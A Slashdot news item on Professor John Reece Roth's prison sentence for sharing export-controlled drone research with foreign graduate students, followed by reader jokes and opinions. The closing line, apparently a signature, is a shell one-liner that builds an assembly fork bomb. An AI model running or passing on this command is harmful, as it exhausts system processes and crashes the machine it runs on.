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Professor Gets 4 Years in Prison for Sharing Drone Plans With Students
Hugh Pickens writes "Retired University of Tennessee Professor Dr. John Reece Roth has been sentenced to four years in prison after he allowed a Chinese graduate student to see sensitive information on Unmanned Air Vehicles (UAVs), also known as drones. In 2004, the company Roth helped found, Atmospheric Glow Technologies, won a US Air Force contract to develop a plasma actuator that could help reduce drag on the wings of drones, such as the ones the military uses. Under the contract, for which Roth was reportedly paid $6,000, he was prohibited from sharing sensitive data with foreign nationals. Despite warnings from his university's Export Control Officer, in 2006, Roth took a laptop containing sensitive plans with him on a lecture tour in China and also allowed graduate students Xin Dai of China and Sirous Nourgostar of Iran to work on the project. 'The illegal export of restricted military data represents a serious threat to national security,' says David Kris of the US Department of Justice. 'We know that foreign governments are actively seeking this information for their own military development. Today's sentence should serve as a warning to anyone who knowingly discloses restricted military data in violation of our laws.' During his trial, Roth testified that he was unaware that hiring the graduate students was a violation of his contract. 'This whole thing has not helped me, it has not helped the university,' said Roth. 'And it has probably not helped this country, either.'"
droned on and on too but I wouldn't send them to prison for it!
I had no idea that the US Military would get pissed if I shared details about how to build flying robots with people from Iran and China! I swear it!
Best Slashdot comment ever
He knew he wasn't supposed to do it, he was warned not to do it, he did it anyway. He pled guilty. If he didn't read his contract that's his problem. I also find it very unlikely. Why is this on slashdot?
Possibly to serve as a warning to others? That might be his whole purpose in life.
XML is a known as a key material required to create SMD: Software of Mass Destruction
Maybe, but his haircut is irrelevant. This was just irresponsible.
and Sirous Nourgostar of Iran to work
Did George Lucas get offspring in Iran or something?
If you quote this signature there'll be 72 copies of Windows ME waiting for you in Heaven.
that's just for grunts. Once you get really senior, you can show classified documents to press photographers in public
At the very least he should have received a life sentence. In reality he should have received the death penalty. This is straight up treason of the highest order. The guy was warned not to work on it with the students in question, not to mention he was warned not to take the laptop to china with the sensitive information on it. Some may feel like this is an over reaction but in reality its an under reaction.
IMAGE VERIFICATION IS EVIL!
Yay for Wikileaks.
Mr. Caladine,
It seems you have divulged details of our countries classified briefing/debriefing procedures on an internationally viewable website. An unmarked van will be by to pick you up shortly.
See you soon,
The Government
That's all well and good, but how relevant is it to the Cloud?
Le français vous intéresse?
Did that work or are you just trying to look big?
... I'm surprised they didn't try to tie the iphone and google into it.
the laptop was a macbook pro...
sigs are for losers (except to point out that sigs are for losers)
I used to have a top secret clearance and my experience was nothing close to yours. I simply had to take a flash light in font of me and... mmm, don't remenber the rest.
Look, we'll tell you what the thump on the roof was AFTER you prove you're not a Chines or Iranian grad student, and not until then - Got it?.
Who is John Cabal?
I presume that ITAR means "International Traffic in Arms Regulations", as per http://en.wikipedia.org/wiki/International_Traffic_in_Arms_Regulations
But to me as a non-american, it sounds more like Apple's archive format, iTar. You can then iGzip it and create secret_plans.itar.igz
Yeah, because nothing shows you're a free thinker better than giving access to military technology to regimes that will use it to repress free thinking.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;